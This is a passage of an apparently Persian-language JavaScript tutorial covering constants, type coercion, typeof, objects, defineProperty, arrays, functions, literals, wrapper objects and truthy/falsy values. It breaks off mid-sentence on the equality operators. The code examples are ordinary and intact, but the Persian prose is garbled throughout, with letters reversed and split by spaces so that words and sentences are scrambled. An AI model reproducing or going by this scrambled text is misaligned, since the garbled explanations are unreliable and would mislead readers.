) constants ( اه ت با ث ن ا و ن ع اب یعوضوم هما نر ب ر د اه ر یغتم رگید در براک و هدر ک د ر او ه ما نر ب ر د را بکی ا ر یر ا د ق م هک تسا نیا ت با ث کی فیرعت ز ا ف ده .د ن وشیم فیرعت دک هب دشاب ر ا د ق م نآ ر ییغت هب زای ن ه ک یتروص ر د راک ن یا اب . م ی ن ک هد افت سا دک فلت خم یاه ش خب ر د ر د ا هنت ن ا وتیم د نت سه ر ا د ق م نآ ل ماش هک ی ی اه ر یغتم یما مت ر ییغت و دک ل ماک یو جت سج یاج .داد ر ییغت ا ر ر ا د ق م هما نر ب ر د ه دش فیرعت ت با ث کی رتهت سج ر ب اهدک ر د ات د ن وش یم هتشو ن گ رزب فور ح اب و 1 snake_case کبس اب لا و مع م اه ت با ث رات خ ا س ظ ا ح ل هب یرا ب ج ا و تسا ی لوص ا ی س ی و ن دک ی ار ب د ا هنش ی پ کی ً ا فر ص ع وضوم ن یا هتب ل ا . د ن وش :ت سی ن نآ تی اعر ر د نابز .دنن کیم ا د ج طخری ز اب ار ت ا مل ک کب س ن یا رد 1 33 م ود شخ ب ","var TAX_RATE = 0.10 ; // 10% sales tax var amount = 20 ; amount = amount * 2 ; amount = amount + (amount * TAX_RATE); console .log( amount ); // 44 کی اب یق رف چ یه ت با ث نیا .تسا ه دش هت فر گ رظن ر د ت با ث ن ا و ن ع هب TAX_RATE لا اب ل اثم ر د دصر د ه ک یتروص ر د .تسا ر ییغت ل باق هما نر ب ز ا یتم سق ر ه ر د نآ ر ا د ق م و د ر ا د ن ی لو مع م ر یغتم زای ن و م یه د ر ییغت ا ر TAX_RATE هک تسا یف اک ا هنت د ن ک ر ییغت نامز ل وط ر د تایلام هب ط وب ر م .د ر ا د ن د وجو ی رگید ر ییغت هب یاج هب const یدی ل ک ه مل ک ز ا اه ت با ث فیرعت یار ب ES6 ن ا و ن ع اب ت پ یرکساو اج د ی دج هخس ن ر د :د وشیم هد افت سا var const TAX_RATE = 0.10 ; م یه ا وخب هم ادا ر د ه ک یتروص ر د ه ک تسا نیا ر د لب ق ل اثم اب ل اثم ن یا ر د ه دش فیرعت ت با ث توافت فیرعت ز ا شو ر ن یا .داد ده ا وخ ن ام هب ا ر راک ن یا ه زاج ا ه ما نر ب م یه د ر ییغت ا ر TAX_RATE ر ا د ق م ،دی ن کیم ه دها ش م هک رو طن ا م ه . تسا اتس یا هداد ع و ن اب یاهنابز ر د اه ر یغتم فیرعت ه ب هی ب ش ت با ث .د ن ک ی ر یگو ل ج ی د ا ی ز هت خ ا ن شا ن ی اها طخ د ا جیا ز ا د نا وتیم هداد ع و ن ز ا هد افت سا م ا ن .د وش هجوت اهنآ هب د ی اب هک د ر اد د وجو یدع ا وق )ع ب ا وت نی نچم ه و ( اه ر یغتم یر ا ذگ م ا ن یار ب یا ض ع ا هم ه ل ماش د نا وت یم هم ادا ر د و د وش عور ش _ ا ی $ ا ی Z-A ا ی z-a فور ح ز ا یکی اب د ی اب ر یغتم ت ی م ه ا زئ اح اه ر یغتم یر ا ذگ م ا ن ر د ه ک ی رگید د روم .دشاب )9 -0( دا دع ا هولاع ب ق و ف ی اههعو مج م م ا ن و اه ر یغتم م ا ن ن ا و ن ع هب ت پ یرکساو اج طس وت ه دش ورزر یدی ل ک تا مل ک ز ا ن درکن هد افت سا تسا طس وت هک د نت سه یتا مل ک ت پ یرکساو اج ر د ه دش ورزر یدی ل ک تا مل ک . تسا ) property ( اهیگژ یو ، true ، in ، if ، for تا مل ک هب ن ا وتیم ه لم ج نآ ز ا ه ک د نر یگیم ر ار ق هد افت سا د روم یس ی و نه ما نر ب نابز لوا دج ش خب هب ه دش ورزر یدی ل ک تا مل ک ز ا یل ماک ت سیل ه دها ش م ی ار ب . در ک ه راش ا … و null ، false .دی ن ک ه ع ج ار م باتک مئ ا م ض و [ رگی د کی ه ب ه د ا د ع اونا ل ی د ب ت ع و ن ه ب ا ر نآ ا دتب ا ه ک تسا زای ن هح فص یور ر ب number هداد ع و ن ز ا د دع کی شی ا من یار ب .د وشیم هتفگ ) coercion ( ر ارط ض ا ت پ یرکساو اج نابز ر د لی د بت نیا ه ب . م ی ن ک لی د بت string هداد 34 هداد عاونا و ر ی د ا قم ","ر د ، د یر ی گ ب رظن ر د بو هح فص ر د ا ر مرف کی .د وشیم م ا جنا ه با ش م تروص هب زی ن لم ع ن یا سک ع تمس ر د . دی ن کیم رو رس ه ب تاع لا ط ا ل ا س ر ا ه ب ما دق ا و هدر ک د ر او ا ر ی د دع رید ا ق م اهد ل ی ف ز ا یکی تای لم ع م ا جنا ز ا لب ق د ی اب ه دش د ر او یاهت شر تروص هب هک ا م ش یلا س ر ا تاع لا ط ا ش ز ادرپ یار ب رو رس م ا جنا number هب string ز ا هداد لی د بت ینعی .در یگ تروص هداد لی د بت لم ع ،نآ یور ر ب یضا ی ر .تسا ه دش هت فر گ رظن ر د یی اهر از ب ا ت لای د بت نیا م ا جنا یار ب ت پ یرکساو اج نابز ر د.د وشیم :ل اثم ی ار ب var a = “42” ; var b = Number ( a ); console .log( a ); // “42” console .log( b ); // 42 .ده دی م م ا جنا ا ر ی د دع هداد ع و ن ه ب فلت خم هداد عا و نا ز ا لی د بت حیر ص تروص هب Number ر از ب ا .در یگیم م ا جنا ت پ یرکساو اج طس وت هد ا س لا ماک تروص هب راک ن یا دی ن یبیم هک رو طن ا م ه هب هداد عا و نا لی د بت رگید ع و ن .تسا ) straight ( حیر ص ع و ن ز ا ه دش م ا جنا ع و ن لی د بت ق و ف ل اثم ر د .د ر اد م ا ن ) implicit ( ینم ض ع و ن لی د بت رگی د کی var a = “42” ; var b = a * 1 ; a; // “42” b; // 42 ینم ض تروص هب b ر یغتم فیرعت م ا گن ه هب ، number هب string ز ا a ر یغتم ع و ن لی د بت لا اب ل اثم ر د .تسا هداد خ ر می ر اد د ص ق هک تسا ین امز رگی د کی ه ب هداد عا و نا ت لای د بت ر د ز ی گنار ب ثح ب تاعوضوم ز ا یکی لی د بت یطیار ش نی ن چ ر د .م ی ن ک هس ی ا ق م م ه اب ،د نت سه فلت خم هداد ع و ن ود ز ا ه ک ا ر یر ا د ق م و د رظن ر د ا ر 1 و 1 ر ا د ق م و د ل اثم ی ار ب . د وشیم ل ا م ع ا ی س ی و نه ما نر ب نابز طس وت )حیر ص ه ن( ینم ض ر د .تسا string ع و ن ز ا یرگید و number ع و ن ز ا یکی ی لو ،ناس کی رید ا ق م ی ا ر اد ود نیا . د یر ی گ ب هداد ع و ن ات د وشیم م ا جنا ینم ض هداد لی د بت ر ا د ق م و د نیا ه س ی ا ق م م ا گن ه ر د ت پ یرکساو اج نابز ع و ن ینم ض تروص هب ت پ یرکساو اج == رگلم ع ز ا هد افت سا تروص ر د نیار با ن ب . د وش ناس کی ود ر ه .داد ده ا و خ نا شن ا ر ی د دع ر ا د ق م و د ه س ی ا ق م ه ج یت ن س پ س و هدر ک لی د بت ید د ع هب ا ر یاه تشر هداد ت پ یرکساو اج نابز ر د ینم ض ت لای د بت ه ک د ن چ ر ه ،هک تسا نیا د وش هجوت نآ هب د ی اب هک ی اهتکن 35 م ود شخ ب ","یتروص ر د اهنآ ز ا هد افت سا ام ا ، د نن ک رت نا س آ ا ر ناس ی و نه ما نر ب راک ات د ناه دش یح ار ط ف ده ن یا اب هما نر ب یاهدک ر د ل ا ک ش ا زو ر ب و ا طخ د ا جیا ث عاب د و شن ک ر د و هع لا ط م هطوب ر م دع ا وق و نی نا وق هک ز ا ت پ یرکساو اج ناس ی و نه ما نر ب ی ار ب ی نم ض لی د بت دع ا وق ح ی ح ص تخ ا ن ش ع ق او ر د . دش ده ا و خ .تسا تا ی رو ر ض هداد ع و ن ن ا وتیم نآ ز ا هد افت سا اب هک د ر اد د وجو typeof م ا ن اب ی رگلم ع ت پ یرکساو اج نابز ر د :در ک جار خت سا ا ر ر ا د ق م کی ه ب ط وب ر م var a; typeof a; // “undefined” a = “hello world” ; typeof a; // “string” a = 42 ; typeof a; // “number” a = true ; typeof a; // “boolean” a = null ; typeof a; // “object” a = undefined ; typeof a; // “undefined” a = { b: “c” }; typeof a; // “object” لاب ق هک رو طن ا م ه هت ب ل ا و( د وب ده ا و خ ر ا د ق م 6 نیا ز ا یکی ه ر ا و م ه typeof رگلم ع ز ا یتش گ ر ب ر ا د ق م .)تسا ه دش ی فرع م ES6 ر د ز ی ن symbol هداد ع و ن ، دش هتفگ ت پ یرکساو اج ر د . a ر یغتم ه ن و تسا a رید ا ق م هب ط وب ر م typeof رگلم ع هک د وش ت ق د ق و ف ل اثم ر د یر ا د هگن یار ب ی لح م ن ا و ن ع هب ا هنت ) a ر یغتم ا جنیا ر د( اه ر یغتم و د ن شابیم ع و ن یا ر اد رید ا ق م ا هنت .د نت سه رید ا ق م ن یا تس ر د ا ن ه ک د وشیم هداد تش گ ر ب object ر ا د ق م typeof null د روم ی ار ب لا اب ل اثم ر د ن ی نچم ه ت پ یرکساو اج یا ه گاب ن یرتیمی دق ز ا گ اب ن یا .تسا null هداد ع و ن یا ر اد null ر ا د ق م ع ق او ر د .تسا د روم ن یا س ا سا ر ب ی د ا ی ز رایسب یاهدک هک ار چ ،دش ده ا وخ ن فر ط ر ب زی ن ه اگ چ یه ار هاظ هک تسا ید ا ی ز یاه گ اب د ا جیا ث عاب لا ا مت ح ا ت پ یرکساو اج ید ع ب یاههخس ن ر د نآ عف ر و د ناه دش هتشو ن .دش ده ا و خ ر یغتم هک یتلاح ل اثم ی ار ب ، تسا ه دش ر ک ذ د روم و د لا اب ل اثم ر د undefined هداد ع و ن د روم ر د یاه ت لاح . د وشیم هداد تب س ن undefined ر ا د ق م نآ هب ً ا م ی قت سم ا ی و د وشیم فیرعت ر ا د ق م نودب 36 هداد عاونا و ر ی د ا قم ","چ یه هک ی ع ب ا وت ل اثم ی ار ب .د ن وش جتن م undefined ر ا د ق م هب تسا نکم م هک د ن ر اد د وجو ی د د عت م .د وش هد افت سا void رگلم ع ز ا ه ک یتروص ر د ا ی و د ننادر گ ی منر ب ا ر یر ا د ق م [ ) Objects ( ءا ی ش ا .تسا object هداد ع و ن ت پ یرکساو اج نابز ر د هداد عا و نا ز ا ع و ن نیرتدر براک رپ و نیرته ب ز ا یکی object ع ق او ر د .در ک یه د ر ا د ق م ا ر نآ یاهیگژ یو ن ا وتیم هک تسا یب یک رت رات خ ا س کی هداد ع و ن نیا .تسا رگید هداد ع و ن نی د ن چ ز ا یب یک رت رات خ ا س یا ر اد // defining object var obj = { a: “hello world” , b: 42 , c: true }; obj.a; // “hello world” obj.b; // 42 obj.c; // true obj[ “a” ]; // “hello world” obj[ “b” ]; // 42 obj[ “c” ]; // true .د وشیم هتفگ object literal اح لاط ص ا 2 دلا وکآ لخاد ر د د وجوم رید ا ق م ،دی ل ک هب :هت کن object تخ اس یا هشو ر و فیرعت نا ک م ا یت ح ا ر هب هک د ر اد د وجو هد ا س ها ر ن ی د ن چ ، ت پ یرکساو اج ر د object تخ ا س یار ب :د نن کیم م ه ارف ا ر ب لاج هداد ع و ن نیا ز ا هد افت سا 2 curly braces 37 م ود شخ ب ","var newObject = {}; // or var newObject = Object .create( Object .prototype ); // or var newObject = new Object (); .در ک ده ا و خ دیلوت یلا خ object کی ق و ف ی اه کبس ز ا object فیرعت ه و حن ز ا ع و ن هس ر ه object رد ا ه یگژ یو تیرید م ل باق یگ د ا س ه ب ت پ یرکساو اج ر د ه دش هت خ ا س ءایش ا یو ر ر ب زای ن د روم یاهیگژ یو تیری دم و فیرعت یگژ یو د ا جیا ،م ی ن ک د ا جیا ق و ف ی اه کبس ز ا یکی ه ب object کی ر گ ا ه ک ی اهن وگ هب ،دشابیم م ا جنا .تسا م ا جنا ل باق یتح ا ر هب نآ ف ذح ا ی ر ییغت ،د ی دج :د یر ی گ ب رظن ر د ا ر ری ز object ش خب ن یا ر د هن و من یار ب var sampleObject = {property: 100 }; ا ه یگژ یو ه ب یس رت سد ل باق یاه شو ر ز ا کی ر ه ی ار ب . تسا ی بایت سد ل باق قیر ط و د ز ا object کی ه ب ط وب ر م یاهیگژ یو .داد م یه ا و خ هئا ر ا ی لاثم ق و ف object ز ا هد افت سا اب ، م ا جنا :تروص هب و ) dot ( ت اد رگلم ع قیر ط ز ا sampleObject.property; // 100 :تروص هب ) bracket (ت ک ار ب قیر ط ز ا sampleObject[‘property’]; // 100 و هدر ک رتش یب ا ر دک ی ی ا نا و خ ه ک ار چ ، تسا ه دش هیصوت شو ر dot رگلم ع قیر ط ز ا یسرتسد رتبس ا ن م ت ک ار ب شو ر ز ا هد افت سا ه ک د ر اد د وجو ی ی اه ت لاح ام ا ، د ن کیم رته اتوک ا ر یس ی و ن دک :دشاب ص ا خ ی اه رت ک ا راک ل ماش یگژ یو م ا ن ه ک ی د ر ا وم ر د ل اثم ی ار ب .دشابیم obj[“hello world!”] 38 هداد عاونا و ر ی د ا قم ","هتخ ا ن ش ) key ( دی ل ک ن ا و ن ع تحت تسا یسرتسد ل باق ت ک ار ب قیر ط ز ا ه ک ی ی اهیگژ یو ن ی ن چ یرگید ر یغتم ر د دی ل ک م ا ن ه ک تسا یع ق ا وم ر د ت ک ار ب شو ر مه م یاه در براک ز ا رگید یکی . د ن وشیم :دشاب ه دش هر ی خذ var object = { foo: “hello world” , b: 123 }; var b = “foo” ; object[b]; // “hello world” object[ “b” ]; // 123 ا ه یگژ یو ری داقم ریی غت ،ه دش ه ئا ر ا هن و من object د روم ر د ،د وشیم م ا جنا یت ح ا ر هب object یاهیگژ یو رید ا ق م ر د ت ار ییغت :د وشیم م ا جنا ری ز لک ش هب property یگژ یو ر ا د ق م ر ییغت sampleObject.property = 1000 ; sampleObject.property; // 1000; دید ج یگژ یو دا جیا و رظن د روم یگژ یو ه ب ی سرتسد د نن ا م ه نآ هب رید ا ق م ه ئا ر ا و ءایش ا یو ر ر ب د ی دج یگژ یو د ا جیا ر د ا ر ر ا د ق م باست نا رگلم ع ز ا هد افت سا اب ،ر ا د ق م ند نا و خ ی اج هب هک توافت ن یا اب تسا نآ ند نا و خ ::ل اثم ، م ی ن کیم ج ر د رظن د روم یگژ یو sampleObject.nextProp = 20 ; sampleObject.nextProp; // 20 sampleObject[ ‘otherProp’ ] = 40 ; sampleObject.otherProp; // 40 39 م ود شخ ب ","ل اثم ر د ه ک ی اهتکن ،د وشیم م ا جنا bracket و dot رگلم ع قیر طو د ز ا ه ک یگژ یو ند نا و خ د نن ا م ه ز ا ی گژ یو ند نا و خ ،م ی ن ک فیرعت ا ر یگژ یو قیر ط هچ ز ا د ن کی من یتو افت هک تسا نیا ،د ر اد د وجو ق و ف .د وب ده ا و خ م ا جنا ل باق قیر ط و د ر ه object رد یگژ یو دوج و یسر ر ب یس ر ر ب ا ر رظن د روم object یور ر ب ا ر نآ ن د وب د وجوم ،یگژ یو کی ز ا هد افت سا ز ا لب ق م یه ا وخب ر گ ا :ل اثم . در ک هد افت سا hasOwnProperty م ا ن ه ب یدتم ز ا ن ا وتیم ، م ی ن ک sampleObject.hasOwnProperty( ‘property’ ); // true object زا یگژ یو ف ذح م یه ا وخب و م یشاب هتش ا د ن د و خ object ر د ی گژ یو کی ز ا هد افت سا ه ب یزای ن تاقو ا یضع ب تسا نکم م رظن د روم یگژ یو و هدر ک هد افت سا delete یدی ل ک ه مل ک ز ا ن ا وتیم رو ظن م ن یا یار ب . م ی ن ک ف ذح ا ر نآ :ل اثم ی ار ب ، م ی ن ک ف ذح ا ر delete sampleObject.property; sampleObject.property; // undefined د ا ی ز تا عفد ه ب ت پ یرکساو اج نابز هب یس ی و ن دک م ا گن ه ر د ه ک د ر اد د وجو زی ن رگید هداد ع و ن نی د ن چ ه راش ا ) Arrays ( اهه یا رآ و ) Functions ( ع ب ا وت هب ن ا وتیم ه لم ج نآ ز ا ه ک د نر یگیم ر ار ق هد افت سا د روم تحت ن ا وتیم اهنآ ز ا و د ن وش ی من هتخ ا ن ش هیلو ا هداد ع و ن ن ا و ن ع هب د روم و د نیا ه ک د ن چ ر ه . در ک .در ب م ا ن object هداد ع و ن ی اههعو مج م ری ز ن ا و ن ع object یا ه یگژ یو یدن ب رکی پ تا م ی ظنت و هدر ک هد افت سا Object.defineProperty دتم ز ا ن ا وتیم object یار ب یگژ یو فیرعت ر د ،ضرف ش ی پ تروص هب . در ک هد افت سا object یور ر ب رظن د روم یگژ یو ی د ن ب رک ی پ یار ب ی رتش یب enumerable و writable، configurable ت پ یرکساو اج ءایش ا یو ر ر ب ه دش د ا جیا ی اهیگژ یو :داد ر ییغت ص خ ش م یگژ یو کی یار ب ا ر اهیگژ یو نیا ن ا وتیم defineProperty دتم اب .د ن شابیم 40 هداد عاونا و ر ی د ا قم "," اب راک ل وط ر د ا ر یگژ یو نیا ر ا د ق م هک در ک نیی عت ن ا وتیم یگژ یو نیا ز ا هد افت سا اب : writable .ر ی خ ا ی دشاب ر ییغت ل باق object و دی ل ک هب ) for...in (هقل ح کی نا یر ج ر د ن ا وتیم یگژ یو نیا ن د وب ل ا عف اب :enumerable دتم object کی ی اهدی ل ک هب ی سرتسد شو ر . م یشاب هتش اد یسرتسد ی گژ یو ه ب ط وب ر م ر ا د ق م .ده دی م تش گزاب ه یا رآ تروص هب ا ر object کی ی اهیگژ یو ا ی اهدی ل ک هک دشابیم Object.keys یتح هک ی اهن وگ هب ، م ی ن ک تیری دم ه نیز گ ن یا اب ا ر یگژ یو رات ف ر ن ا وتیم : configurable و non-enumerable رگید یت را ب ع هب ا ی ل ا عفر ی غ رظن د روم یگژ یو یار ب زی ن ا ر ی لب ق یاهه نیز گ .د ن ر اد ا ر delete یدی ل ک ه مل ک اب ندش ف ذح ی ی ا نا وت اهیگژ یو نیا .در ک non-writable ،ده دی م ر ار ق ام رایت خا ر د ز ی ن ا ر ی رگید ی اهیگژ یو ی ه د ر ا د ق م نا ک م ا defineProperty دتم هت ب ل ا هجوت . در ک هد افت سا value م ی قت سم یه د ر ا د ق م یا ج ب ا ر set و get یاهدتم ن ا وتیم ل اثم ی ار ب ر د ری ز ل اثم هب . د وشیم ا طخ د ا جیا ث عاب value اب set و get ز ا نامز م ه هد افت سا ه ک دیشاب هتش اد :دی ن ک هجوت ع بات ن یا ص و صخ ‘use strict’; // to force options var myObject = {}; Object .defineProperty( myObject, ‘a’ , { value: “some value” , writable: true , enumerable: true , configurable: true }); [ )Arrays ( اههی ار آ هد افت سا اهنآ ز ا د و خ ه ما نر ب ر د و هدر ک فیرعت ا ر اه گن ر ز ا هور گ کی م یه ا و خی م دی ن ک ضرف یاهت شر یاه ر یغتم فیرعت ،م یه د د ا هنش ی پ یر یگ د ا ی ز ا ش خب ن یا ه ب ات تسا نکم م هک یشور ، م ی ن ک د ع ب ل اثم لک ش هب یدک د ا هنش ی پ تسا نکم م ل اثم ی ار ب . تس اه گن ر ز ا کی ر ه ت ش ا د هگن یار ب :دیه د هئا ر ا ا ر 41 م ود شخ ب ","var color1 = “blue” ; var color2 = “red” ; var color3 = “green” ; var color4 = “yellow” ; یتخ س ه ب اه گن ر فیرعت ع و ن نیا ز ا هد افت سا و تیری دم هک می وشیم هجوتم م ی ن ک ت ق د یم ک ر گ ا هف اض ا د و خ ی اه گن ر هور گ هب رگید گن ر کی م یه ا و خی م دی ن ک ضرف ل اثم ی ار ب ، تسا م ا جنا ل باق ده ا و خ هارم ه هب ا ر ی ی اه ش لاچ روم ا نیا م ا جنا .م ی ن ک ف ذح ا ر د و خ ت سیل یاه گن ر ز ا یکی ا ی ،م ی ن ک !ت سی ن 3 DRY ه دش هتشو ن دک رگید ترا ب ع هب و ددر گیم ر ب دک رات خ ا س ن د و بن ح ی ح ص هب هک ت ش اد د روم یاه هداد ه عو مج م یگ د ا س ه ب ، هیا رآ م ا ن ه ب ی رگید هداد ع و ن ز ا هد افت سا اب یگ د ا س ه ب ن ا وتیم .م ی ن ک تیری دم ا ر د و خ رظن هداد فلت خم عا و نا ز ا یرید ا ق م هک د نت سه object هیلو ا هداد ع و ن ر ب ی نتب م ی ی اه هداد ع و ن اهه یا رآ تفر گ رظن ر د object هداد ع و ن ز ا یاه عو مج م ری ز ا ر اهه یا رآ ن ا وتیم ع ق او ر د . د نن کیم یر ا د هگن ا ر ر د یرید ا ق م تروص هب ا ر اهنآ،دی ل ک/یگژ یو ی اه بتر م جو ز تروص هب اه هداد ی ر ا د هگن ی اج هب هک .د نن کیم یر ا د هگن ) indexed position ( ه دش ه ی ا من ی اها گی اج // defining array var arr = [ “hello world” , 42 , true ]; arr[ 0 ]; // “hello world” arr[ 1 ]; // 42 arr[ 2 ]; // true arr.length; // 3 typeof arr; // “object” .دشابیم ر فص د دع ز ا هیا رآ عور ش سی د نا ت پ یرکساو اج نابز ر د یجو رخ ه ب ق و ف ل اثم ر د( د نت سه object هداد ع و ن ز ا یاه عو مج م ری ز اهه یا رآ هک ن یا ه ب هجوت اب هلم ج ز ا ،ت ش اد د ن ه ا و خ ا ر اهنآ هب ط وب ر م یاهیگژ یو ی ما مت نیار با ن ب ) دی ن ک ت ق د typeof رگلم ع .تسا هیا رآ ر صا ن ع دا د عت ه د ن ه د نا شن و د وشیم ی ن ا س رزو ر ب راک د و خ تروص هب هک length یگژ یو 3 Don’t Repeat Yourself 42 هداد عاونا و ر ی د ا قم ","دشاب )… ،2 ،1 ،0( ید دع ،نآ یاهیگژ یو دیــ ل ک هک در ک هد افت سا یا object ز ا هیا رآ یاج هب ن ا وتیم هب ط وب ر م راک یتح ا ر ی ار ب اهر از ب ا نیا ز ا ما دک ر ه یلو .د ن ک هر ی خذ ید دع یاهیگژ یو ر د ا ر رید ا ق م و .د نر ی گ ب ر ار ق هد افت سا د روم د و خ اب بس ا نت م در براک ر د کی ر ه هک تسا رته ب و د ناه دش د ا جیا د و خ [ ) Functions ( عباوت یاههما نر ب ر د ه ک د ن ه دی م ل ی کشت ع ب ا وت ا ر اه object ر ب ی نتب م هداد ی اه ع و ن ز ا رگید یکی یر ی گش ی پ یار ب ، ع ب ا وت ی ل ص ا در براک .د ن ر اد یس ا سا رایسب ی شقن ت پ یرکساو اج نابز هب ه دش هتشو ن ل اثم ی ار ب . د وشیم م ا جنا ی گ د ا س ه ب ع بات کی فیرعت اب هک تسا ر ارکترپ ی اهتای لم ع ر ارکت ز ا ری ز لک ش هب هک تسا ع ب ا وت ز ا هد ا س ی لاثم ،ی دو رو د دع و د یار ب عم ج د نن ام یضا ی ر تای لم ع م ا جنا :د وشیم یزا سهد ای پ function adder (a, b) { return a + b ; } م ی نز ب ل اثم زی ن ا ر ی اه دی چ ی پ ی اه ت لاح م ی نا وتیم هک د وب ع بات فیرعت ز ا هد ا س ی لاثم د روم ن یا ع ب ا وت د روم ر د مه م ی بلط م . در ک دیه ا و خ ه دها ش م رو فو ه ب باتک فلت خم یاه ثح ب و هم ادا ر د ه ک :دی ن ک هجوت ص و صخ نیا ر د ری ز ل اثم هب ، تس اهنآ ع و ن یت پ یرکساو اج function foo () { return 123 ; } foo.bar = “hello world” ; typeof foo; // “function” typeof foo(); // “number” typeof foo.bar; // “string” د ن وشیم فیرعت اه object یا نب م ر ب دش هتفگ هک رو طن ا م ه و د نت سی ن )ه یلو ا( یل ص ا هداد ع و ن ،ع ب ا وت اب ع بات هس ی ا ق م ر د ا طخ ز ا یر یگو ل ج ی ار ب هک د نادر گیم زاب ا ر function ر ا د ق م typeof رگلم ع یلو یا ر اد د نا وتیم ع بات هک ه دش هداد نا شن ق و ف ل اثم ر د ن ی نچم ه .دشابیم لک ش ن یا ه ب ی د اع object .تسا اه object هداد ع و ن صا و خ ز ا ه ک دشاب ) foo.bar د نن ام ( ی گژ یو 43 م ود شخ ب ","ر د ده د شی ا من د نا وتیم typeof رگلم ع هک یف لت خم یاه ت لاح ، ه دش ر ک ذ د ر ا وم رتل ماک ک ر د یار ب :م یه دی م ه ئا ر ا ری ز لو دج Example Typeof Value typeof undefined; “undefined” undefined typeof null; “object” null typeof true; “boolean” boolean (true or false) typeof 1; “number” all numbers typeof “hi”; “string” all strings typeof func; “function” all functions typeof [ ]; “object” all arrays typeof { }; “object” native objects ل و صف ر د object تخ ا س یار ب اهنآ ز ا هد افت سا و یر ب ث ر ا م و ه فم ، ع ب ا وت ی لخاد رات خ ا س د روم ر د ه د ن سب اهنآ ز ا یرصت خم ح یضوت ه ئا ر ا ه ب طقف لصف نیا ر د و داد م یه ا و خ یرتل ماک ح یضوت یتآ .م ی ن کیم [ اه لا رت یل لارت یل ً اح لاط ص ا د نر یگیم ر ار ق هد افت سا د روم هما نر ب دک ر د م ی قت سم تروص هب هک ی رید ا ق م هب .د وشیم هتفگ ) literal ( “I am a string” ; 42 ; true ; ل وق لقن لخاد ر د ه ر ا و م ه ،ی ا هت شر لارت یل . د وشیم بوس ح م لارت یل کی ق و ف رید ا ق م ز ا ما دک ر ه ه راش ا هد افت سا د روم یاه لارت یل هب هطوب ر م ش خب ر د اه object د روم ر د .در یگیم ر ار ق ه ن اگو د ا ی یکت .دش 44 هداد عاونا و ر ی د ا قم ","[ ه د ا د ع اونا یا ر ب هد ش ف یر عت ی اه دت م یی اهدتم ) properties ( اهیگژ یو ر ب هولا ع ت پ یرکساو اج نابز ر د ه دش فیرعت هداد عا و نا یار ب :ل اثم ی ار ب .د ن شابیم دیفم و د نمت ردق رایسب هک د ر اد د وجو زی ن var a = “hello world” ; var b = 3.14159 ; a.length; // 11 a.toUpperCase(); // “HELLO WORLD” b.toFixed( 4 ); // “3.1416” ) Wrapper Object ( ه د نن اشو پ object م ا ن ه ب یمو ه فم ت پ یرکساو اج ر د ه یلو ا هداد ع و ن ر ه ی ا ز ا ه ب یگژ یو ل اثم ی ار ب ( د وشیم ی نا و خارف هداد ع و ن کی ز ا ی دتم ا ی ی گژ یو کی ه ک یما گن ه . د ر اد د وجو ا ر هداد ع و ن نآ ک یتاموت ا تروص هب ت پ یرکساو اج ، )ق و ف ل اثم ر د toUpperCase)( دتم ا ی length .د ن کیم ی نا و خارف ا ر هطوب ر م دتم س پ س و هدر ک لی د بت شر ظا نت م ه د نن اشو پ object هب :تسا ری ز دک هب هی ب ش یزیچ دت فای م هک یقافت ا var a = “hello world” ; (new String(a)).length; // 11 :دی ن کیم ه دها ش م ا ر ناش ر ظا نت م یاه ه د نن اشو پ object و هداد عا و نا ز ا یی اه ل اثم ری ز ر د )گ رزب S فر ح ( String ه د نن اشو پ object اب string هداد ع و ن Number ه د نن اشو پ object اب number هداد ع و ن Boolean ه د نن اشو پ object اب boolean هداد ع و ن طس وت راک د و خ تروص هب ناش ر ظا نت م یاه ه د نن اشو پ object هب هداد عا و نا ت لای د بت ه ک د وش ت ق د سی و نه ما نر ب طس وت د روم ن یا ه ک ت سی ن زای ن ی س ی و نه ما نر ب م ا گن ه ر د و د وشیم م ا جنا ت پ یرکساو اج .در یگ تروص 45 م ود شخ ب ","[ ریداقم ه س یاقم یر ب ار ب : د ر اد د وجو ی ل ص ا ت لاح و د یت پ یرکساو اج یاههما نر ب ر د رید ا ق م هس ی ا ق م ی ار ب ا ی true ( ن یلوب ع و ن ز ا ی ر ا د ق م ه ر ا و م ه زی ن ه س ی ا ق م ه ج یت ن و ) inequality ( یر ب ار با ن و ) equality ( .د وب ده ا و خ ) false نیلوب ز ا ر ی غ ی عو ن ز ا ی ر ا د ق م هک تسا ین امز هب ط وب ر م هداد عا و نا ت لای د بت ثح ب ر د رگید مه م د روم ا ر ی د ر ا وم ری ز ت سیل . د وب ده ا و خ false ا ی و true ا ی هج یت ن ت لاح ن یا ر د .م ی ن ک لی د بت ن یلوب هب ا ر :ت ش اد ده ا و خ یپ ر د ا ر false هج یت ن ن یلوب هب ه دش لی د بت ر ا د ق م هک ده دی م نا شن )( ی لا خ هت شر )ربتع م ر ی غ د دع ( NaN ا ی -0 ،0 undefined و null ر ا د ق م false ر ا د ق م true ر ا د ق م ی ا ر اد ن یلوب هداد ع و ن ه ب لی د بت م ا گن ه ر د د نر ی گن ر ار ق لا اب ت سیل ر د ه ک ی رید ا ق م ه م ه :تسا ه دمآ هم ادا ر د د روم ن یا ز ا یی اه ل اثم . د وب د ن ه ا و خ hello هتشر 123 د دع true ر ا د ق م [1, 2, 3] ا ی ] [ ل اثم ی ار ب اهه یا رآ { a: 123 } ،{ } ل اثم ی ار ب اه object foo)( {...} ل اثم ی ار ب ع ب ا وت ز ا ه ک دی ن ک هد افت سا یرید ا ق م ز ا دی ن ک شلات ه ر ا و م ه ،هک تسا نیا ت ش اد ت ق د د ی اب هک ی اهتکن ر د ی رایسب یاها طخ د ا جیا ع وضوم ن یا ل یل د . د ی ر اد نا ن ی م ط ا اهنآ ا ی ن د وب ح ی ح یص ر ی غ ا ی ح ی ح ص یلک ش هب ت پ یرکساو اج ب ی ج ع یاها طخ ه ب ط وب ر م ش خب ر د ه ک تسا ه دی چ ی پ د ر ا وم هس ی ا ق م م ا گن ه .میا هداد حر ش رتل ماک )Equality ( یر با ر ب د وش ت ق د . == !و = !،=== ،== :د ر اد د وجو ی ر ب ار ب ی س ر ر ب ی ار ب رگلم ع را ه چ ، ت پ یرکساو اج نابز ر د یواسما ن ن در ک ص خ ش م ی ار ب و ه دش هدر ب راک هب لا اب ر ظا نت م یاه رگلم ع ن در ک یف ن م ی ار ب ! رگلم ع هک 46 هداد عاونا و ر ی د ا قم ",".د وش هت فر گ ه ا بت ش ا دش ده ا و خ هداد ح یضوت هم ادا ر د ه ک ) inequality ( یر ب ار با ن اب د ی ا بن و تسا هد افت سا د روم ع و ن و ر ا د ق م ی ر ب ار ب ی س ر ر ب ی ار ب === رگلم ع و ر ا د ق م ی ر ب ار ب ی س ر ر ب ی ار ب == رگلم ع ر د دشاب زا ج م ی نم ض هداد ع و 